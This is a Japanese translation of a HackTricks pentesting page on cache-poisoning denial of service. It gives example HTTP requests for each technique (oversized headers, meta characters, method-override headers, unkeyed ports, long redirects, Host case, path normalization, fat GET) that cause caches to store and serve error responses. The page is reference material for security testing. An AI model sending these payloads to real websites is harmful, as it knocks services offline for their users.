7.4 KiB
キャッシュ毒化によるDoS
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい、またはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォローする。
- ハッキングトリックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
{% hint style="danger" %} このページでは、キャッシュサーバーに有効なリクエストに対して、ウェブサーバーがエラーで応答するようにするさまざまなバリエーションを見つけることができます。 {% endhint %}
- HTTPヘッダーサイズオーバーサイズ(HHO)
ウェブサーバーがサポートするヘッダーサイズよりも大きいが、キャッシュサーバーがサポートするヘッダーサイズよりも小さいヘッダーサイズでリクエストを送信します。ウェブサーバーは400応答を返し、これがキャッシュされる可能性があります。
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- HTTP Meta Character (HMC) & Unexpected values
攻撃が機能するためには、最初にキャッシュをバイパスする必要があります。\n
や\r
などの有害なメタ文字を含むヘッダを送信します。
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
悪く構成されたヘッダーは、単に\:
としてヘッダーとして機能する可能性があります。
これは、予期しない値が送信された場合にも機能する可能性があります。例えば、予期しないContent-Type:
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Unkeyed header
いくつかのウェブサイトは、リクエスト内に X-Amz-Website-Location-Redirect: someThing ヘッダーのような特定のヘッダーがあると、エラーのステータスコードを返します。
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- HTTP Method Override Attack (HMO)
サーバーがX-HTTP-Method-Override
、X-HTTP-Method
、またはX-Method-Override
などのヘッダーを使用してHTTPメソッドを変更することをサポートしている場合、メソッドを変更して有効なページをリクエストすることが可能です。サーバーがそのメソッドをサポートしていないため、悪い応答がキャッシュされる可能性があります。
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- キーのないポート
Hostヘッダーのポートがレスポンスに反映され、キャッシュキーに含まれていない場合、未使用のポートにリダイレクトすることが可能です:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- 長いリダイレクト DoS
次の例のように、x がキャッシュされていない場合、攻撃者はリダイレクト応答の動作を悪用して、リダイレクトが大きすぎる URL を送信してエラーを返すようにすることができます。その後、キャッシュされていない x キーなしで URL にアクセスしようとする人々はエラー応答を受け取ります。
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- ホストヘッダーケースの正規化
ホストヘッダーは大文字小文字を区別しないはずですが、一部のウェブサイトでは小文字であることを期待しており、そうでない場合にエラーが返されることがあります。
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- パスの正規化
一部のページは、パス内のデータをURLencodeしてエラーコードを返すことがありますが、キャッシュサーバーはパスをURLdecodeして、URLdecodeされたパスのレスポンスを保存します。
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
一部のキャッシュサーバー、例えばCloudflare、またはWebサーバーは、ボディを持つGETリクエストを停止するため、これは無効なレスポンスをキャッシュするために悪用される可能性があります。
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
参考文献
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- **💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksおよびHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。